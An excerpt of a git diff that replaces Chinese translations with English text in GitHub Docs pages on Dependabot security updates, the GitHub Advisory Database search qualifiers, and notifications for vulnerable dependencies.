anyone who does not have access to {% data variables.product.prodname_dependabot_alerts %} for the repository. -当您合并包含安全更新的拉取请求时，仓库的相应 {% data variables.product.prodname_dependabot %} 警报将被标记为已解决。 有关 {% data variables.product.prodname_dependabot %} 拉取请求的更多信息，请参阅“[管理依赖项更新的拉取请求](/github/administering-a-repository/managing-pull-requests-for-dependency-updates)”。 +When you merge a pull request that contains a security update, the corresponding {% data variables.product.prodname_dependabot %} alert is marked as resolved for your repository. For more information about {% data variables.product.prodname_dependabot %} pull requests, see "[Managing pull requests for dependency updates](/github/administering-a-repository/managing-pull-requests-for-dependency-updates)." {% data reusables.dependabot.automated-tests-note %} {% ifversion fpt or ghec %} -## 关于兼容性分数 +## About compatibility scores -{% data variables.product.prodname_dependabot_security_updates %} 可能包括兼容性分数，以便您了解更新依赖项是否可能导致对项目的重大更改。 这些分数是根据已生成相同安全更新的其他公共仓库中的 CI 测试计算的。 更新的兼容性分数是在依赖项的特定版本之间进行更新时，CI 运行被视为通过的百分比。 +{% data variables.product.prodname_dependabot_security_updates %} may include compatibility scores to let you know whether updating a dependency could cause breaking changes to your project. These are calculated from CI tests in other public repositories where the same security update has been generated. An update's compatibility score is the percentage of CI runs that passed when updating between specific versions of the dependency. {% endif %} -## 关于 {% data variables.product.prodname_dependabot %} 安全更新通知 +## About notifications for {% data variables.product.prodname_dependabot %} security updates -您可以在 {% data variables.product.company_short %} 上过滤通知以显示 {% data variables.product.prodname_dependabot %} 安全更新。 更多信息请参阅“[从收件箱管理通知](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)”。 +You can filter your notifications on {% data variables.product.company_short %} to show {% data variables.product.prodname_dependabot %} security updates. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)." diff --git a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md index 305c28627f..7fd77729d1 100644 --- a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md +++ b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md @@ -1,7 +1,7 @@ --- -title: 浏览 GitHub Advisory Database 中的安全漏洞 -intro: '{% data variables.product.prodname_advisory_database %} 允许您浏览或搜索影响 {% data variables.product.company_short %} 上开源项目的漏洞。' -shortTitle: 浏览公告数据库 +title: Browsing security vulnerabilities in the GitHub Advisory Database +intro: 'The {% data variables.product.prodname_advisory_database %} allows you to browse or search for vulnerabilities that affect open source projects on {% data variables.product.company_short %}.' +shortTitle: Browse Advisory Database redirect_from: - /github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database - /code-security/supply-chain-security/browsing-security-vulnerabilities-in-the-github-advisory-database @@ -16,78 +16,80 @@ topics: - Vulnerabilities - CVEs --- - -## 关于安全漏洞 +## About security vulnerabilities {% data reusables.repositories.a-vulnerability-is %} -如果我们检测到 {% data variables.product.prodname_advisory_database %} 中存在会影响您的仓库所依赖的软件包的任何漏洞，{% data variables.product.product_name %} 将会向您发送 {% data variables.product.prodname_dependabot_alerts %}。 更多信息请参阅“[关于易受攻击的依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)”。 +{% data variables.product.product_name %} will send you {% data variables.product.prodname_dependabot_alerts %} if we detect that any of the vulnerabilities from the {% data variables.product.prodname_advisory_database %} affect the packages that your repository depends on. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." -## 关于 {% data variables.product.prodname_advisory_database %} +## About the {% data variables.product.prodname_advisory_database %} -{% data variables.product.prodname_advisory_database %} 包含已映射到 {% data variables.product.company_short %} 依赖关系图跟踪的软件包的安全漏洞列表。 {% data reusables.repositories.tracks-vulnerabilities %} +The {% data variables.product.prodname_advisory_database %} contains a curated list of security vulnerabilities that have been mapped to packages tracked by the {% data variables.product.company_short %} dependency graph. {% data reusables.repositories.tracks-vulnerabilities %} -每个安全通告都包含有关漏洞的信息，包括说明、严重程度、受影响的包、包生态系统、受影响的版本和修补版本、影响以及可选信息（如引用、解决方法和积分）。 此外，国家漏洞数据库列表中的公告包含 CVE 记录链接，通过链接可以查看漏洞、其 CVSS 得分及其质化严重等级的更多详细信息。 更多信息请参阅国家标准和技术研究所 (National Institute of Standards and Technology) 的“[国家漏洞数据库](https://nvd.nist.gov/)”。 +Each security advisory contains information about the vulnerability, including the description, severity, affected package, package ecosystem, affected versions and patched versions, impact, and optional information such as references, workarounds, and credits. In addition, advisories from the National Vulnerability Database list contain a link to the CVE record, where you can read more details about the vulnerability, its CVSS scores, and its qualitative severity level. For more information, see the "[National Vulnerability Database](https://nvd.nist.gov/)" from the National Institute of Standards and Technology. -我们在[常见漏洞评分系统 (CVSS) 第 5 节](https://www.first.org/cvss/specification-document)中定义了以下四种可能的严重性等级。 -- 低 -- 中 -- 高 -- 关键 +The severity level is one of four possible levels defined in the "[Common Vulnerability Scoring System (CVSS), Section 5](https://www.first.org/cvss/specification-document)." +- Low +- Medium/Moderate +- High +- Critical -{% data variables.product.prodname_advisory_database %} 使用上述 CVSS 级别。 如果 {% data variables.product.company_short %} 获取 CVE，{% data variables.product.prodname_advisory_database %} 将使用 CVSS 版本 3.1。 如果 CVE 是导入的，则 {% data variables.product.prodname_advisory_database %} 支持 CVSS 版本 3.0 和 3.1。 +The {% data variables.product.prodname_advisory_database %} uses the CVSS levels described above. If {% data variables.product.company_short %} obtains a CVE, the {% data variables.product.prodname_advisory_database %} uses CVSS version 3.1. If the CVE is imported, the {% data variables.product.prodname_advisory_database %} supports both CVSS versions 3.0 and 3.1. {% data reusables.repositories.github-security-lab %} -## 访问 {% data variables.product.prodname_advisory_database %} 中的通告 +## Accessing an advisory in the {% data variables.product.prodname_advisory_database %} -1. 导航到 https://github.com/advisories。 -2. （可选）要过滤列表，请使用任意下拉菜单。 ![下拉过滤器](/assets/images/help/security/advisory-database-dropdown-filters.png) -3. 单击任何通告以查看详情。 +1. Navigate to https://github.com/advisories. +2. Optionally, to filter the list, use any of the drop-down menus. + ![Dropdown filters](/assets/images/help/security/advisory-database-dropdown-filters.png) +3. Click on any advisory to view details. {% note %} -也可以使用 GraphQL API 访问数据库。 更多信息请参阅“[`security_advisory` web 挂钩事件](/webhooks/event-payloads/#security_advisory)”。 +The database is also accessible using the GraphQL API. For more information, see the "[`security_advisory` webhook event](/webhooks/event-payloads/#security_advisory)." {% endnote %} -## 搜索 {% data variables.product.prodname_advisory_database %} +## Searching the {% data variables.product.prodname_advisory_database %} -您可以搜索数据库，并使用限定符缩小搜索范围。 例如，您可以搜索在特定日期、特定生态系统或特定库中创建的通告。 +You can search the database, and use qualifiers to narrow your search. For example, you can search for advisories created on a certain date, in a specific ecosystem, or in a particular library. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| 限定符 | 示例 | -| --------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `GHSA-ID` | [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) 将显示使用此 {% data variables.product.prodname_advisory_database %} ID 的通告。 | -| `CVE-ID` | [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) 将显示使用此 CVE ID 号的通告。 | -| `ecosystem:ECOSYSTEM` | [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) 只显示影响 NPM 包的通告。 | -| `severity:LEVEL` | [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) 只显示严重程度高的公告。 | -| `affects:LIBRARY` | [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) 只显示影响 lodash 库的通告。 | -| `cwe:ID` | [**cwe:352**](https://github.com/advisories?query=cwe%3A352) 将只显示使用此 CWE 编号的通告。 | -| `credit:USERNAME` | [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) 将只显示计入“octocat”用户帐户的通告。 | -| `sort:created-asc` | [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) 按照时间顺序对通告排序，最早的通告排在最前面。 | -| `sort:created-desc` | [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) 按照时间顺序对通告排序，最新的通告排在最前面。 | -| `sort:updated-asc` | [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) 按照更新顺序排序，最早更新的排在最前面。 | -| `sort:updated-desc` | [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) 按照更新顺序排序，最近更新的排在最前面。 | -| `is:withdrawn` | [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) 只显示已经撤销的通告。 | -| `created:YYYY-MM-DD` | [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) 只显示此日期创建的通告。 | -| `updated:YYYY-MM-DD` | [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) 只显示此日期更新的通告。 | +| Qualifier | Example | +| ------------- | ------------- | +| `GHSA-ID`| [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) will show the advisory with this {% data variables.product.prodname_advisory_database %} ID. | +| `CVE-ID`| [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) will show the advisory with this CVE ID number. | +| `ecosystem:ECOSYSTEM`| [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) will show only advisories affecting NPM packages. | +| `severity:LEVEL`| [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) will show only advisories with a high severity level. | +| `affects:LIBRARY`| [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) will show only advisories affecting the lodash library. | +| `cwe:ID`| [**cwe:352**](https://github.com/advisories?query=cwe%3A352) will show only advisories with this CWE number. | +| `credit:USERNAME`| [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) will show only advisories credited to the "octocat" user account. | +| `sort:created-asc`| [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) will sort by the oldest advisories first. | +| `sort:created-desc`| [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) will sort by the newest advisories first. | +| `sort:updated-asc`| [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) will sort by the least recently updated first. | +| `sort:updated-desc`| [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) will sort by the most recently updated first. | +| `is:withdrawn`| [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) will show only advisories that have been withdrawn. | +| `created:YYYY-MM-DD`| [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) will show only advisories created on this date. | +| `updated:YYYY-MM-DD`| [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) will show only advisories updated on this date. | -## 查看有漏洞的仓库 +## Viewing your vulnerable repositories -对于 {% data variables.product.prodname_advisory_database %} 中的任何漏洞，您可以查看哪些仓库具有该漏洞的 {% data variables.product.prodname_dependabot %} 警报。 要查看有漏洞的仓库，您必须有权访问该仓库的 {% data variables.product.prodname_dependabot_alerts %}。 更多信息请参阅“[关于易受攻击的依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)”。 +For any vulnerability in the {% data variables.product.prodname_advisory_database %}, you can see which of your repositories have a {% data variables.product.prodname_dependabot %} alert for that vulnerability. To see a vulnerable repository, you must have access to {% data variables.product.prodname_dependabot_alerts %} for that repository. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)." -1. 导航到 https://github.com/advisories。 -2. 单击通告。 -3. 在通告页面的顶部，单击 **Dependabot alerts（Dependabot 警报）**。 ![Dependabot 警报](/assets/images/help/security/advisory-database-dependabot-alerts.png) -4. （可选）要过滤列表，请使用搜索栏或下拉菜单。 “Organization（组织）”下拉菜单用于按所有者（组织或用户）过滤 {% data variables.product.prodname_dependabot_alerts %}。 ![用于过滤警报的搜索栏和下拉菜单](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png) -5. 有关漏洞的更多详细信息，以及有关如何修复有漏洞的仓库的建议，请单击仓库名称。 +1. Navigate to https://github.com/advisories. +2. Click an advisory. +3. At the top of the advisory page, click **Dependabot alerts**. + ![Dependabot alerts](/assets/images/help/security/advisory-database-dependabot-alerts.png) +4. Optionally, to filter the list, use the search bar or the drop-down menus. The "Organization" drop-down menu allows you to filter the {% data variables.product.prodname_dependabot_alerts %} per owner (organization or user). + ![Search bar and drop-down menus to filter alerts](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png) +5. For more details about the vulnerability, and for advice on how to fix the vulnerable repository, click the repository name. -## 延伸阅读 +## Further reading -- MITRE 的[“漏洞”定义](https://cve.mitre.org/about/terminology.html#vulnerability) +- MITRE's [definition of "vulnerability"](https://cve.mitre.org/about/terminology.html#vulnerability) diff --git a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md index f4c0802d78..ab19259e3d 100644 --- a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md +++ b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md @@ -1,7 +1,7 @@ --- -title: 配置 Dependabot 安全更新 -intro: '您可以使用 {% data variables.product.prodname_dependabot_security_updates %} 或手动拉取请求轻松地更新有漏洞的依赖项。' -shortTitle: 配置安全更新 +title: Configuring Dependabot security updates +intro: 'You can use {% data variables.product.prodname_dependabot_security_updates %} or manual pull requests to easily update vulnerable dependencies.' +shortTitle: Configure security updates redirect_from: - /articles/configuring-automated-security-fixes - /github/managing-security-vulnerabilities/configuring-automated-security-fixes @@ -22,60 +22,58 @@ topics: - Pull requests - Repositories --- - {% data reusables.dependabot.beta-security-and-version-updates %} {% data reusables.dependabot.enterprise-enable-dependabot %} -## 关于配置 {% data variables.product.prodname_dependabot_security_updates %} +## About configuring {% data variables.product.prodname_dependabot_security_updates %} -您可以为任何使用 {% data variables.product.prodname_dependabot_alerts %} 和依赖关系图的仓库启用 {% data variables.product.prodname_dependabot_security_updates %}。 更多信息请参阅“[关于 {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)”。 +You can enable {% data variables.product.prodname_dependabot_security_updates %} for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)." -您可以对个别仓库或所有由您的用户帐户或组织拥有的仓库禁用 {% data variables.product.prodname_dependabot_security_updates %}。 更多信息请参阅下面的“[管理仓库的 {% data variables.product.prodname_dependabot_security_updates %}](#managing-dependabot-security-updates-for-your-repositories)”。 +You can disable {% data variables.product.prodname_dependabot_security_updates %} for an individual repository or for all repositories owned by your user account or organization. For more information, see "[Managing {% data variables.product.prodname_dependabot_security_updates %} for your repositories](#managing-dependabot-security-updates-for-your-repositories)" below. {% ifversion fpt or ghec %}{% data reusables.dependabot.dependabot-tos %}{% endif %} -## 支持的仓库 +## Supported repositories -{% data variables.product.prodname_dotcom %} 自动为符合这些前提条件的每个仓库启用 {% data variables.product.prodname_dependabot_security_updates %}。 +{% data variables.product.prodname_dotcom %} automatically enables {% data variables.product.prodname_dependabot_security_updates %} for every repository that meets these prerequisites. {% note %} -**注**：您可以手动启用 {% data variables.product.prodname_dependabot_security_updates %}，即使仓库不符合以下某些先决条件。 例如，您可以按照“[管理仓库的 {% data variables.product.prodname_dependabot_security_updates %}](#managing-dependabot-security-updates-for-your-repositories)”中的说明，在复刻上或对于不直接支持的包管理器启用 {% data variables.product.prodname_dependabot_security_updates %}。 +**Note**: You can manually enable {% data variables.product.prodname_dependabot_security_updates %}, even if the repository doesn't meet some of the prerequisites below. For example, you can enable {% data variables.product.prodname_dependabot_security_updates %} on a fork, or for a package manager that isn't directly supported by following the instructions in "[Managing {% data variables.product.prodname_dependabot_security_updates %} for your repositories](#managing-dependabot-security-updates-for-your-repositories)." {% endnote %} -| 自动启用前提条件 | 更多信息 | -| ----------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -| 存储库不是复刻 | "[关于复刻](/github/collaborating-with-issues-and-pull-requests/about-forks)" | -| 仓库未存档 | "[Archiving repositories](/github/creating-cloning-and-archiving-repositories/archiving-repositories)" |{% ifversion fpt or ghec %} -| 仓库是公共的，或者仓库是私有的但您在仓库的设置中启用了 {% data variables.product.prodname_dotcom %} 只读分析、依赖关系图和漏洞警报。 | “[管理私有仓库的数据使用设置](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)”。 -{% endif %} -| 仓库包含软件包生态系统中 {% data variables.product.prodname_dotcom %} 支持的依赖项清单文件 | "[支持的软件包生态系统](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)" | -| {% data variables.product.prodname_dependabot_security_updates %} 未对仓库禁用 | "[管理仓库的 {% data variables.product.prodname_dependabot_security_updates %}](#managing-dependabot-security-updates-for-your-repositories)" | +| Automatic enablement prerequisite | More information | +| ----------------- | ----------------------- | +| Repository is not a fork | "[About forks](/github/collaborating-with-issues-and-pull-requests/about-forks)" | +| Repository is not archived | "[Archiving repositories](/github/creating-cloning-and-archiving-repositories/archiving-repositories)" |{% ifversion fpt or ghec %} +| Repository is public, or repository is private and you have enabled read-only analysis by {% data variables.product.prodname_dotcom %}, dependency graph, and vulnerability alerts in the repository's settings | "[Managing data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)." |{% endif %} +| Repository contains dependency manifest file from a package ecosystem that {% data variables.product.prodname_dotcom %} supports | "[Supported package ecosystems](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)" | +| {% data variables.product.prodname_dependabot_security_updates %} are not disabled for the repository | "[Managing {% data variables.product.prodname_dependabot_security_updates %} for your repository](#managing-dependabot-security-updates-for-your-repositories)" | -如果未为存储库启用安全更新，并且您不知道原因么，请先尝试使用以下程序部分的说明启用它们。 If security updates are still not working, you can contact {% data variables.contact.contact_support %}. +If security updates are not enabled for your repository and you don't know why, first try enabling them using the instructions given in the procedural sections below. If security updates are still not working, you can contact {% data variables.contact.contact_support %}. -## 管理仓库的 {% data variables.product.prodname_dependabot_security_updates %} +## Managing {% data variables.product.prodname_dependabot_security_updates %} for your repositories -您可以对单个仓库启用或禁用 {% data variables.product.prodname_dependabot_security_updates %}（见下文）。 +You can enable or disable {% data variables.product.prodname_dependabot_security_updates %} for an individual repository (see below). -您也可以为用户帐户或组织拥有的所有仓库启用或禁用 {% data variables.product.prodname_dependabot_security_updates %}。 更多信息请参阅“[管理用户帐户的安全和分析设置](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account)”或“[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”。 +You can also enable or disable {% data variables.product.prodname_dependabot_security_updates %} for all repositories owned by your user account or organization. For more information, see "[Managing security and analysis settings for your user account](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." -{% data variables.product.prodname_dependabot_security_updates %} 需要特定的仓库设置。 更多信息请参阅“[支持的仓库](#supported-repositories)”。 +{% data variables.product.prodname_dependabot_security_updates %} require specific repository settings. For more information, see "[Supported repositories](#supported-repositories)." -### 对单个仓库启用或禁用 {% data variables.product.prodname_dependabot_security_updates %} +### Enabling or disabling {% data variables.product.prodname_dependabot_security_updates %} for an individual repository {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-security-and-analysis %} -1. 在“Configure security and analysis features（配置安全和分析功能）”下，在“{% data variables.product.prodname_dependabot %} security updates（安全更新）”的右侧，单击 **Enable（启用）**或 **Disable（禁用）**。 +1. Under "Configure security and analysis features", to the right of "{% data variables.product.prodname_dependabot %} security updates", click **Enable** or **Disable**. {% ifversion fpt or ghec %}!["Configure security and analysis features" section with button to enable {% data variables.product.prodname_dependabot_security_updates %}](/assets/images/help/repository/enable-dependabot-security-updates-button.png){% else %}!["Configure security and analysis features" section with button to enable {% data variables.product.prodname_dependabot_security_updates %}](/assets/images/enterprise/3.3/repository/security-and-analysis-disable-or-enable-ghes.png){% endif %} -## 延伸阅读 +## Further reading - "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"{% ifversion fpt or ghec %} - "[Managing data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)"{% endif %} -- "[支持的软件包生态系统](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)" +- "[Supported package ecosystems](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)" diff --git a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md index 71f18b1907..f0d3791232 100644 --- a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md +++ b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md @@ -1,7 +1,7 @@ --- -title: 配置有漏洞依赖项的通知 -shortTitle: 配置通知 -intro: '优化接收 {% data variables.product.prodname_dependabot %} 相关警报的通知的方式。' +title: Configuring notifications for vulnerable dependencies +shortTitle: Configuring notifications +intro: 'Optimize how you receive notifications about {% data variables.product.prodname_dependabot_alerts %}.' redirect_from: - /github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies - /code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies @@ -19,49 +19,48 @@ topics: - Dependencies - Repositories --- - -## 关于有漏洞依赖项的通知 +## About notifications for vulnerable dependencies -当 {% data variables.product.prodname_dependabot %} 在您的仓库中检测到有漏洞依赖项时，我们将生成 {% data variables.product.prodname_dependabot %} 警报，并将其显示在仓库的“Security（安全）”选项卡中。 {% data variables.product.product_name %} 根据通知首选项将新警报通知受影响仓库的维护员。{% ifversion fpt or ghec %} {% data variables.product.prodname_dependabot %} 在所有公共仓库上默认启用。 对于 {% data variables.product.prodname_dependabot_alerts %}，默认情况下，您将通过电子邮件收到按特定漏洞分组的 {% data variables.product.prodname_dependabot_alerts %}。 -{% endif %} +When {% data variables.product.prodname_dependabot %} detects vulnerable dependencies in your repositories, we generate a {% data variables.product.prodname_dependabot %} alert and display it on the Security tab for the repository. {% data variables.product.product_name %} notifies the maintainers of affected repositories about the new alert according to their notification preferences.{% ifversion fpt or ghec %} {% data variables.product.prodname_dependabot %} is enabled by default on all public repositories. For {% data variables.product.prodname_dependabot_alerts %}, by default, you will receive {% data variables.product.prodname_dependabot_alerts %} by email, grouped by the specific vulnerability. +{% endif %} -{% ifversion fpt or ghec %}如果您是组织所有者，您可以对组织中的所有仓库一键启用或禁用 {% data variables.product.prodname_dependabot_alerts %}。 您也可以设置是否对新建的仓库启用或禁用有漏洞依赖项检测。 更多信息请参阅“[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)”。 +{% ifversion fpt or ghec %}If you're an organization owner, you can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories in your organization with one click. You can also set whether the detection of vulnerable dependencies will be enabled or disabled for newly-created repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)." {% endif %} {% ifversion ghes or ghae-issue-4864 %} -默认情况下，如果您的企业所有者已配置电子邮件以获取有关企业的通知，您将收到 {% data variables.product.prodname_dependabot_alerts %} 电子邮件。 +By default, if your enterprise owner has configured email for notifications on your enterprise, you will receive {% data variables.product.prodname_dependabot_alerts %} by email. -企业所有者也可以在没有通知的情况下启用 {% data variables.product.prodname_dependabot_alerts %}。 更多信息请参阅“[在企业帐户上启用依赖关系图和 {% data variables.product.prodname_dependabot_alerts %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)”。 +Enterprise owners can also enable {% data variables.product.prodname_dependabot_alerts %} without notifications. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." {% endif %} -## 配置 {% data variables.product.prodname_dependabot_alerts %} 的通知 +## Configuring notifications for {% data variables.product.prodname_dependabot_alerts %} {% ifversion fpt or ghes > 3.1 or ghec %} -当检测到新的 {% data variables.product.prodname_dependabot %} 警报时，{% data variables.product.product_name %} 根据通知偏好通知所有能够访问仓库的 {% data variables.product.prodname_dependabot_alerts %} 的用户。 如果您正在关注该仓库、已对仓库上的安全警报或所有活动启用通知，并且没有忽略该仓库，您将收到警报。 更多信息请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)”。 +When a new {% data variables.product.prodname_dependabot %} alert is detected, {% data variables.product.product_name %} notifies all users with access to {% data variables.product.prodname_dependabot_alerts %} for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, and are not ignoring the repository. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)." {% endif %} -您可以从每个页面顶部显示的管理通知下拉菜单 {% octicon "bell" aria-label="The notifications bell" %} 为您自己或您的组织配置通知设置。 更多信息请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)”。 +You can configure notification settings for yourself or your organization from the Manage notifications drop-down {% octicon "bell" aria-label="The notifications bell" %} shown at the top of each page. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)." {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} {% data reusables.notifications.vulnerable-dependency-notification-options %} - ![{% data variables.product.prodname_dependabot_alerts %} 选项](/assets/images/help/notifications-v2/dependabot-alerts-options.png) + ![{% data variables.product.prodname_dependabot_alerts %} options](/assets/images/help/notifications-v2/dependabot-alerts-options.png) {% note %} -**注：** 您可以过滤 {% data variables.product.company_short %} 上的通知以显示{% data variables.product.prodname_dependabot %} 警报。 更多信息请参阅“[从收件箱管理通知](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)”。 +**Note:** You can filter your notifications on {% data variables.product.company_short %} to show {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)." {% endnote %} -{% data reusables.repositories.security-alerts-x-github-severity %} 更多信息请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)”。 +{% data reusables.repositories.security-alerts-x-github-severity %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)." -## 如何减少有漏洞依赖项通知的干扰 +## How to reduce the noise from notifications for vulnerable dependencies -如果您想要收到太多 {% data variables.product.prodname_dependabot_alerts %} 的通知，我们建议您选择加入每周的电子邮件摘要，或者在保持 {% data variables.product.prodname_dependabot_alerts %} 启用时关闭通知。 您仍可导航到仓库的 Security（安全性）选项卡查看 {% data variables.product.prodname_dependabot_alerts %}。 更多信息请参阅“[查看和更新仓库中的漏洞依赖项](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)”。 +If you are concerned about receiving too many notifications for {% data variables.product.prodname_dependabot_alerts %}, we recommend you opt into the weekly email digest, or turn off notifications while keeping {% data variables.product.prodname_dependabot_alerts %} enabled. You can still navigate to see your {% data variables.product.prodname_dependabot_alerts %} in your repository's Security tab. For more information, see "[Viewing and updating vulnerable dependencies in your 